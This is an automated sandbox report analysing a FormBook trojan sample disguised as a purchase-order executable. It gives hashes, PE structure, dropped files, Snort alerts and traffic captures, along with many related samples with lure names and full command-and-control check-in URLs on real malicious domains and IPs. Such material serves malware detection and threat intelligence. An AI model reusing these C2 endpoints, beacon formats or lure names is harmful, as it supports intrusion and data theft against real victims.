Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/1@9/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 11.3% (good quality ratio 9.6%) Quality average: 67.7% Quality standard deviation: 34.2%
HCA Information:	Successful, ratio: 95% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Excluded IPs from analysis (whitelisted): 104.42.151.234, 52.147.198.201, 104.43.139.144, 20.82.210.154, 40.88.32.150, 92.122.213.194, 92.122.213.247, 52.155.217.156, 2.20.143.16, 2.20.142.209, 20.54.26.129, 184.30.20.56 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report creation exceeded maximum time and may have missing disassembly code information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:43:12	API Interceptor	1x Sleep call for process: PO 367628usa.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
209.182.202.96	PO9448882.exe	Get hash	malicious	Browse	www.servantsheartvalet.com/meub/?8p64Z2=V6A8xrZp&y8y=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36km6bTIgHEg7F
66.235.200.147	da.exe	Get hash	malicious	Browse	www.burundiacademyst.com/8u3b/?dZ8=BT0h&hDKxoPS=4vEXK17IA394WC8iTvIivdS0Cql5iuvV57KnzC84MNlFoWTpUG2RsyvHd875puybb7chYZMxxA==
	Payment.xlsx	Get hash	malicious	Browse	www.burundiacademyst.com/8u3b/?zh=4vEXK17NAw98WSwuRvIivdS0Cql5iuvV57S3vBg5ItlEon/vTWnd62XFea7/xPqTXNoABg==&BL3=jFNt_dFXS
	Quotation.exe	Get hash	malicious	Browse	www.thesocialgreen.com/mgl/?5j8l=f1uD85eB+cCOn8+C4qvYEhi6iPiStfCl1+N32n42aL6OkNxrdvNbFuLtanM9fSU4CP6/6paE8g==&lnxdA=fTvdzZsH3tODubI
	Payment.xlsx	Get hash	malicious	Browse	www.burundiacademyst.com/8u3b/?AFNHW=7n5t_JdpSvWLy20&hR-pi0=4vEXK17NAw98WSwuRvIivdS0Cql5iuvV57S3vBg5ItlEon/vTWnd62XFea7/xPqTXNoABg==
	MSUtbPjUGib2dvd.exe	Get hash	malicious	Browse	www.thesilverslipper.club/ffy/?2d0=lnxdA&-Z1hnrG=VsEd2ljFwB2w0+9z72Htc0M/tkPafkZssJ8rij5TQB/jOTqdHRQwIgCh7XOuaEky5D7/
	PO20210429.xlsx	Get hash	malicious	Browse	www.burundiacademyst.com/8u3b/?Mz=ltx0qfi0x45&WBZXQ8j=4vEXK17NAw98WSwuRvIivdS0Cql5iuvV57S3vBg5ItlEon/vTWnd62XFea7/xPqTXNoABg==
	INV+PACKING LIST.exe	Get hash	malicious	Browse	www.ponderingelephant.com/ple/?-ZsPdp=xnHXGBz4ypimZ5Y5kb5MaQgvqj3YDL1ZdP3vyaOARIvLjHnyTXBiVpDLKEMSLW5u89hw&alX=TXFxmnkp-thT
	NMpDBwHJP8.exe	Get hash	malicious	Browse	www.bigplatesmallwallet.com/p2io/?Jv4=O674xtRz5BQXEtA9kGCKbVIXJyLg/Uv1kEh0zcEQqY6nJSttJx1/IGytgU6ULEG2tFa9QVoShQ==&NvTHEh=QR-x_26P2h
	2021-03-31.exe	Get hash	malicious	Browse	www.look-production.com/g7b/?mBZ=sMEGTBL7b0Crz/M/9MY8kI3QE8u69YIEpY8MG7KdvZs7JG2S3J70OJI9COEBjTNWNkCc&pPN=OvNDOt
	1LHKlbcoW3.exe	Get hash	malicious	Browse	www.bigplatesmallwallet.com/p2io/?rN=d8VD7828W8N&CR=O674xtRz5BQXEtA9kGCKbVIXJyLg/Uv1kEh0zcEQqY6nJSttJx1/IGytgXWEX1aNqwzs
	loMStbzHSP.exe	Get hash	malicious	Browse	www.bigplatesmallwallet.com/p2io/?sZvD8l=Spap-DKpf&7nEpiRy=O674xtRz5BQXEtA9kGCKbVIXJyLg/Uv1kEh0zcEQqY6nJSttJx1/IGytgU6ULEG2tFa9QVoShQ==
	COAU7229898130.xlsx	Get hash	malicious	Browse	www.ketodietforall.com/jzvu/?tDH=XRR8&8pqhs=iai4crrqmblIbZ8NbTff6TYSVk87qhVrjvjoE2rw9KZdYD2s+/m1/NAmtEChNYkMqGWCvw==
	purchase order#034.exe	Get hash	malicious	Browse	www.open-umbrella.com/8ufh/?EzrthRhp=q59Dr8OAwbpxjg9e4xeHJIK1cZIJWe2R7FFBvmtI2mq90uj2icseWC/7TRWfu69z5jPD&ojo0f=SzrhU8
	Request for Quotation RFQ GC-0016862.PDF.exe	Get hash	malicious	Browse	www.adhumanhealth.com/bhic/?Hp=V6ALib5X&pPX=hCOOqYuHXBu805uhnnycx3T+KYLBHddhxIpVVMBQAbCgJEGGTgUUMO8R3f12KnwfYdKz
	30 percento,pdf.exe	Get hash	malicious	Browse	www.ghorowaseba.com/kio8/?Yn=fJ2hiUQi1hpOeKUG2Couwzy3GD0q5yDtocQqTe9Wxl22Cq32RCF6+kusfpxq26VwKjQqLgOsHQ==&mvKpc=V48DupphUTS4qDu
	E68-STD-239-2020-239.xlsx	Get hash	malicious	Browse	www.asmmacademy.com/qccq/?mTalhtA0=rlaBJ8Mskrxi/2a4/edNV/AmrTlq/nR4UqkkGM1XutPnIWK2blgsIQLwr5szEXSAKovhZw==&WBb8fl=ebFl
	bAcefnEUjb.exe	Get hash	malicious	Browse	www.mateingseason.com/xle/?mdsh-n6=dZP5442chx968NwGkcaPLBUUXkuDw9f5W2ewpXC0yyYgnx4kig0eFnnjyofJrMaHs5iQCvjrWg==&lZN=7neHzjSxG
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	www.ghorowaseba.com/kio8/?EzrtzJ=apITk4789pRXUl&rZpXZ6=fJ2hiUQi1hpOeKUG2Couwzy3GD0q5yDtocQqTe9Wxl22Cq32RCF6+kusfpxq26VwKjQqLgOsHQ==
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	www.erniesimms.com/kio8/?9rj0DvY=YN+sslSXNnt/AJtQDW3tg/o15FAEVpNGgRv2M7EAJ2+Csdh8CxFY2PeyXEasYy/TyJiM&v4=Ch6Lm
	Payment Slip00425.exe	Get hash	malicious	Browse	www.erniesimms.com/kio8/?UXrxRry=YN+sslSXNnt/AJtQDW3tg/o15FAEVpNGgRv2M7EAJ2+Csdh8CxFY2PeyXH68XTvrssLL&lf2X=O0DliFfpXhCPLb

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ext-sq.squarespace.com	correct invoice.exe	Get hash	malicious	Browse	198.185.159.144
	SWIFT001411983HNK.exe	Get hash	malicious	Browse	198.185.159.144
	DOC24457188209927.exe	Get hash	malicious	Browse	198.185.159.144
	#U4f9b#U5e94#U6750#U6599.exe	Get hash	malicious	Browse	198.185.159.144
	PP,Sporda.exe	Get hash	malicious	Browse	198.185.159.144
	BORMAR SA_Cotizaci#U00f3n de producto doc.exe	Get hash	malicious	Browse	198.185.159.144
	4LkSpeVqKR.exe	Get hash	malicious	Browse	198.185.159.144
	PO889876.pdf.exe	Get hash	malicious	Browse	198.185.159.144
	202139769574 Shipping Documents.exe	Get hash	malicious	Browse	198.185.159.144
	wMqdemYyHm.exe	Get hash	malicious	Browse	198.49.23.145
	d801e424_by_Libranalysis.docx	Get hash	malicious	Browse	198.185.159.144
	7824,pdf.exe	Get hash	malicious	Browse	198.49.23.145
	PO_29_00412.exe	Get hash	malicious	Browse	198.185.159.144
	DHL_S390201.exe	Get hash	malicious	Browse	198.185.159.145
	triage_dropped_file.exe	Get hash	malicious	Browse	198.185.159.144
	Wire transfer.exe	Get hash	malicious	Browse	198.185.159.144
	mC9LnX9aGE.exe	Get hash	malicious	Browse	198.49.23.145
	4x1cYP0PFs.exe	Get hash	malicious	Browse	198.49.23.145
	SO.xlsm.exe	Get hash	malicious	Browse	198.185.159.144
	RDAx9iDSEL.exe	Get hash	malicious	Browse	198.185.159.144

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
IMH-WESTUS	eLECTRONIC Flight Ticket Invoice confirmationETKT XXXXX3939 INVOICE 000Z1298932 TKT Payment.exe	Get hash	malicious	Browse	192.145.239.54
	eLECTRONIC Flight Ticket Confirmation VIS XXXXX3939 INVOICE 000Z1298932 TKT Payment.exe	Get hash	malicious	Browse	192.145.239.54
	scan of document 5336227.xlsm	Get hash	malicious	Browse	192.249.126.181
	scan of invoice 91510.xlsm	Get hash	malicious	Browse	192.249.126.181
	scan of bill 0905.xlsm	Get hash	malicious	Browse	192.249.126.181
	PO9448882.exe	Get hash	malicious	Browse	209.182.202.96
	check 6746422.xlsm	Get hash	malicious	Browse	192.249.126.181
	TKT eLECTRONIC Flight Ticket Confirmation VIS XXXXX83939 INVOICE 000Z1298932 TKT.exe	Get hash	malicious	Browse	192.145.239.54
	proforma invoice.exe	Get hash	malicious	Browse	192.249.124.39
	SOA.exe	Get hash	malicious	Browse	173.231.198.30
	Invoice Packing List CORP Invoice R-CONM012 2021-04-26 - large shipment tools (1)2021.04.26.exe	Get hash	malicious	Browse	192.145.239.54
	SecuriteInfo.com.Heur.32597.xls	Get hash	malicious	Browse	144.208.70.30
	SecuriteInfo.com.Heur.32597.xls	Get hash	malicious	Browse	144.208.70.30
	SecuriteInfo.com.Heur.31681.xls	Get hash	malicious	Browse	144.208.70.30
	Email - Payment Report.html	Get hash	malicious	Browse	23.235.214.102
	PO472020.xlt	Get hash	malicious	Browse	199.250.214.202
	PO472020.xlt	Get hash	malicious	Browse	199.250.214.202
	PO472020.xlt	Get hash	malicious	Browse	199.250.214.202
	SecuriteInfo.com.Exploit.Siggen3.16583.277.xls	Get hash	malicious	Browse	199.250.214.202
	0BAdCQQVtP.exe	Get hash	malicious	Browse	173.231.192.43
XIAOZHIYUN1-AS-APICIDCNETWORKUS	EDS03932,pdf.exe	Get hash	malicious	Browse	156.241.53.253
	PAYMENT INSTRUCTIONS COPY.exe	Get hash	malicious	Browse	45.207.99.198
	IRMEFUV8EF.exe	Get hash	malicious	Browse	156.241.53.103
	Purchase Order-10764.exe	Get hash	malicious	Browse	154.210.135.241
	987654OIUYFG.exe	Get hash	malicious	Browse	154.207.35.80
	GZocMWoCzL3Rd62.exe	Get hash	malicious	Browse	156.254.252.104
	aea58eb7_by_Libranalysis.xlsx	Get hash	malicious	Browse	156.234.115.176
	DHL Receipt_AWB811470484778.exe	Get hash	malicious	Browse	156.241.53.197
	krcgN6CaG9.exe	Get hash	malicious	Browse	156.253.123.107
	0876543123.exe	Get hash	malicious	Browse	154.207.35.80
	Invoiceo.exe	Get hash	malicious	Browse	154.207.58.218
	x16jmZMFrN.exe	Get hash	malicious	Browse	154.207.58.69
	ppc_unpacked	Get hash	malicious	Browse	156.234.199.243
	NQ1vVJKBcH.exe	Get hash	malicious	Browse	156.253.78.210
	Camscanner.New Order.09878766.exe	Get hash	malicious	Browse	154.222.72.30
	RDAx9iDSEL.exe	Get hash	malicious	Browse	156.241.53.161
	REF # 166060421.doc	Get hash	malicious	Browse	154.207.35.111
	FORM C.xlsx	Get hash	malicious	Browse	156.255.140.216
	5PthEm83NG.exe	Get hash	malicious	Browse	156.255.140.216
	od3Y2SFzdP.rtf	Get hash	malicious	Browse	156.226.160.44
CLOUDFLARENETUS	Statement of Account April-2021.exe	Get hash	malicious	Browse	104.21.19.200
	2070121SN-WS for Woosim i250MSR.pif.exe	Get hash	malicious	Browse	162.159.133.233
	FACTURA COMERCIAL_________________________________________________________PDF__.exe	Get hash	malicious	Browse	172.67.188.154
	Quotation.exe	Get hash	malicious	Browse	162.159.130.233
	8wx078Pm3P.exe	Get hash	malicious	Browse	172.67.150.158
	GUaL8Nw228.exe	Get hash	malicious	Browse	104.21.30.57
	8wx078Pm3P.exe	Get hash	malicious	Browse	172.67.150.158
	qn8nIbPPCO.exe	Get hash	malicious	Browse	172.67.151.39
	viMLlTHg3d.exe	Get hash	malicious	Browse	172.67.160.89
	8n6dlwyR8l.exe	Get hash	malicious	Browse	104.21.58.140
	GUaL8Nw228.exe	Get hash	malicious	Browse	104.21.30.57
	qn8nIbPPCO.exe	Get hash	malicious	Browse	104.21.72.139
	viMLlTHg3d.exe	Get hash	malicious	Browse	172.67.160.89
	Technical data sheet.exe	Get hash	malicious	Browse	172.67.188.154
	8n6dlwyR8l.exe	Get hash	malicious	Browse	172.67.160.89
	v8wtfyQr7r.exe	Get hash	malicious	Browse	104.21.55.224
	d0875029_by_Libranalysis.exe	Get hash	malicious	Browse	104.21.19.200
	Order.exe	Get hash	malicious	Browse	104.22.18.188
	Account Ledger for 2020-APRIL 2021.exe	Get hash	malicious	Browse	162.159.134.233
	New purchase order.exe	Get hash	malicious	Browse	162.159.134.233

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 367628usa.exe.log Download File
Process:	C:\Users\user\Desktop\PO 367628usa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:ML9E4Ks2f84jE4Kx1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MxHKXfvjHKx1qHiYHKhQnoPtHoxHhAHR
MD5:	8198C64CE0786EABD4C792E7E6FC30E5
SHA1:	71E1676126F4616B18C751A0A775B2D64944A15A
SHA-256:	C58018934011086A883D1D56B21F6C1916B1CD83206ADD1865C9BDD29DADCBC4
SHA-512:	EE293C0F88A12AB10041F66DDFAE89BC11AB3B3AAD8604F1A418ABE43DF0980245C3B7F8FEB709AEE8E9474841A280E073EC063045EA39948E853AA6B4EC0FB0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.966310386635364
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PO 367628usa.exe
File size:	846336
MD5:	42cf4c3943d5a839412a16a4d8b8d65d
SHA1:	f26230352a412de0ca8b1ffc6fc07838b878a68a
SHA256:	1ceec55d4acbb8db907798df6b1be5832f32d2d4e459c5bd08d0252a0763b30c
SHA512:	06dc9e24ad16b10858fa7e24fbf2e179b09c3bba8d7cb4b94dedcab32503d2d40e1ed24949832ca37c507f183713343c4acefabd6747f197d31cd8a81b7c426f
SSDEEP:	24576:257gowGuMDvk9999+n3CZMWyOe01TZNfhj1aNBQ4OFkRZ:2XDM+n3q9ldjaNBQH
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P......$.......@... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	f2d2e9fcc4ead362

Static PE Info

General
Entrypoint:	0x4d400a
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x609B8ECE [Wed May 12 08:16:14 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [004D4000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc28ec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xce000	0x34b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd4000	0x8
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0xc2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
^8+S\|rz	0x2000	0xbea04	0xbec00	False	1.00031485501	data	7.99978876077	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.text	0xc2000	0xbec0	0xc000	False	0.444376627604	data	5.98929495854	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xce000	0x34b8	0x3600	False	0.361328125	data	5.24839991082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd2000	0xc	0x200	False	0.044921875	data	0.0980041756627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0xd4000	0x10	0x200	False	0.044921875	dBase III DBT, version number 0, next free block index 796960	0.142635768149	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xce130	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_GROUP_ICON	0xd06d8	0x14	data
RT_VERSION	0xd06ec	0x364	data
RT_MANIFEST	0xd0a50	0xa65	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2013
Assembly Version	3.0.0.0
InternalName	CspAlgorithmType.exe
FileVersion	3.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	ServerManager_Core
ProductVersion	3.0.0.0
FileDescription	ServerManager_Core
OriginalFilename	CspAlgorithmType.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/12/21-14:44:17.541178	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49744	80	192.168.2.6	209.182.202.96
05/12/21-14:44:17.541178	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49744	80	192.168.2.6	209.182.202.96
05/12/21-14:44:17.541178	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49744	80	192.168.2.6	209.182.202.96
05/12/21-14:44:49.882224	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.6	34.102.136.180
05/12/21-14:44:49.882224	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.6	34.102.136.180
05/12/21-14:44:49.882224	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.6	34.102.136.180
05/12/21-14:44:50.021295	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49752	34.102.136.180	192.168.2.6
05/12/21-14:45:12.023558	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49754	34.102.136.180	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 14:44:17.336447001 CEST	49744	80	192.168.2.6	209.182.202.96
May 12, 2021 14:44:17.539150953 CEST	80	49744	209.182.202.96	192.168.2.6
May 12, 2021 14:44:17.541024923 CEST	49744	80	192.168.2.6	209.182.202.96
May 12, 2021 14:44:17.541177988 CEST	49744	80	192.168.2.6	209.182.202.96
May 12, 2021 14:44:17.741841078 CEST	80	49744	209.182.202.96	192.168.2.6
May 12, 2021 14:44:18.501599073 CEST	49744	80	192.168.2.6	209.182.202.96
May 12, 2021 14:44:18.703918934 CEST	80	49744	209.182.202.96	192.168.2.6
May 12, 2021 14:44:18.704257011 CEST	49744	80	192.168.2.6	209.182.202.96
May 12, 2021 14:44:23.722388029 CEST	49745	80	192.168.2.6	156.253.106.229
May 12, 2021 14:44:26.723609924 CEST	49745	80	192.168.2.6	156.253.106.229
May 12, 2021 14:44:32.724307060 CEST	49745	80	192.168.2.6	156.253.106.229
May 12, 2021 14:44:47.595201969 CEST	49751	80	192.168.2.6	156.253.106.229
May 12, 2021 14:44:49.840913057 CEST	49752	80	192.168.2.6	34.102.136.180
May 12, 2021 14:44:49.881947994 CEST	80	49752	34.102.136.180	192.168.2.6
May 12, 2021 14:44:49.882071018 CEST	49752	80	192.168.2.6	34.102.136.180
May 12, 2021 14:44:49.882224083 CEST	49752	80	192.168.2.6	34.102.136.180
May 12, 2021 14:44:49.925158978 CEST	80	49752	34.102.136.180	192.168.2.6
May 12, 2021 14:44:50.021295071 CEST	80	49752	34.102.136.180	192.168.2.6
May 12, 2021 14:44:50.021327019 CEST	80	49752	34.102.136.180	192.168.2.6
May 12, 2021 14:44:50.029829979 CEST	49752	80	192.168.2.6	34.102.136.180
May 12, 2021 14:44:50.030330896 CEST	49752	80	192.168.2.6	34.102.136.180
May 12, 2021 14:44:50.071338892 CEST	80	49752	34.102.136.180	192.168.2.6
May 12, 2021 14:44:50.597404003 CEST	49751	80	192.168.2.6	156.253.106.229
May 12, 2021 14:44:56.613770008 CEST	49751	80	192.168.2.6	156.253.106.229
May 12, 2021 14:45:00.764058113 CEST	49753	80	192.168.2.6	66.235.200.147
May 12, 2021 14:45:00.805219889 CEST	80	49753	66.235.200.147	192.168.2.6
May 12, 2021 14:45:00.805355072 CEST	49753	80	192.168.2.6	66.235.200.147
May 12, 2021 14:45:00.805551052 CEST	49753	80	192.168.2.6	66.235.200.147
May 12, 2021 14:45:00.846524000 CEST	80	49753	66.235.200.147	192.168.2.6
May 12, 2021 14:45:01.319247961 CEST	49753	80	192.168.2.6	66.235.200.147
May 12, 2021 14:45:01.360927105 CEST	80	49753	66.235.200.147	192.168.2.6
May 12, 2021 14:45:01.361038923 CEST	49753	80	192.168.2.6	66.235.200.147
May 12, 2021 14:45:11.845074892 CEST	49754	80	192.168.2.6	34.102.136.180
May 12, 2021 14:45:11.886277914 CEST	80	49754	34.102.136.180	192.168.2.6
May 12, 2021 14:45:11.886451960 CEST	49754	80	192.168.2.6	34.102.136.180
May 12, 2021 14:45:11.886488914 CEST	49754	80	192.168.2.6	34.102.136.180
May 12, 2021 14:45:11.927572966 CEST	80	49754	34.102.136.180	192.168.2.6
May 12, 2021 14:45:12.023557901 CEST	80	49754	34.102.136.180	192.168.2.6
May 12, 2021 14:45:12.023586035 CEST	80	49754	34.102.136.180	192.168.2.6
May 12, 2021 14:45:12.024002075 CEST	49754	80	192.168.2.6	34.102.136.180
May 12, 2021 14:45:12.024024963 CEST	49754	80	192.168.2.6	34.102.136.180
May 12, 2021 14:45:12.066961050 CEST	80	49754	34.102.136.180	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 14:43:01.428555012 CEST	60342	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:01.477366924 CEST	53	60342	8.8.8.8	192.168.2.6
May 12, 2021 14:43:21.349680901 CEST	61346	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:21.398500919 CEST	53	61346	8.8.8.8	192.168.2.6
May 12, 2021 14:43:24.693722010 CEST	51774	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:24.742449045 CEST	53	51774	8.8.8.8	192.168.2.6
May 12, 2021 14:43:25.606499910 CEST	56023	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:25.658571005 CEST	53	56023	8.8.8.8	192.168.2.6
May 12, 2021 14:43:28.722441912 CEST	58384	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:28.771378040 CEST	53	58384	8.8.8.8	192.168.2.6
May 12, 2021 14:43:29.864943981 CEST	60261	53	192.168.2.6	8.8.8.8
May 12, 2021 14:43:29.913788080 CEST	53	60261	8.8.8.8	192.168.2.6
May 12, 2021 14:43:30.785602093 CEST	56061	53	192.168.2.6	8.8.8.8
